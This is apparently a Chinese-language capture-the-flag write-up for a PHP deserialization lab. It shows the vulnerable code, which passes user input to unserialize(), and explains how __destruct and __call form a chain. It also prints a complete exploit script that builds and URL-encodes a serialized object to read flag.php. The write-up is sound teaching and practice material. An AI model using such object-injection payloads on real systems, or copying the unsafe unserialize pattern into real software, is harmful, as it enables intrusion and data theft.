返回
1
0

LAB7

YES,2026-02-06 22:40
Plaintext
<?php class you {     private $body;     private $pro='';     function __destruct() {             $project=$this->pro;             $this->body->$project();     } } class my {     public $name;     function __call($func$args) {         if ($func == 'yourname' and $this->name == 'myname') {             include('flag.php');             echo $flag;         }     } } $a=$_GET['a']; unserialize($a);

分析:对象执行类不存在的方法时会自动调用__call方法 ,这里我们要调用my类中的__call('yourname', $args)并且$this->name == 'myname'
我们可以令you类中的$body=new my();,随便命名一个$pro='123',使得:

Plaintext
$project=$this->pro; $project='123'; $this->body->$project(); # 调用my类中的123方法,显然不存在,则调用`__call`

但是我们注意到还要$func == 'yourname'
__call(func, func, $func, $args)中的两个参数实际上:$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
因此我们还要修改一下构造:

Plaintext
$project=$this->pro; $project='yourname'; $this->body->$project(); # 调用my类中的yourname方法,显然不存在,则调用`__call` # __call('yourname', $args)

完整exp:

Plaintext
<?php class you { private $body; private $pro='yourname'; function __construct() { $this->body=new my(); } function __destruct(){ } } class my { public $name = 'myname'; function __call($func, $args) { } } $a = new you(); //echo serialize($a); # O:3:"you":2:{s:9:" you body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:" you pro";s:8:"yourname";} echo urlencode(serialize($a));

这里注意我们要在you类中多写一个__construct()使得$this->body在you类被实例化的同时被赋值为my类的实例化对象,这样序列化字符中才会有my类的相关信息,不能写在__destruct()中,得到的序列化对象要被销毁的时候才会执行$this->body=new my();

暂无回复。你的想法是什么?


bottom-logo1
bottom-logo2captionbottom-logo3
GeeSec
商务合作
bottom-logo4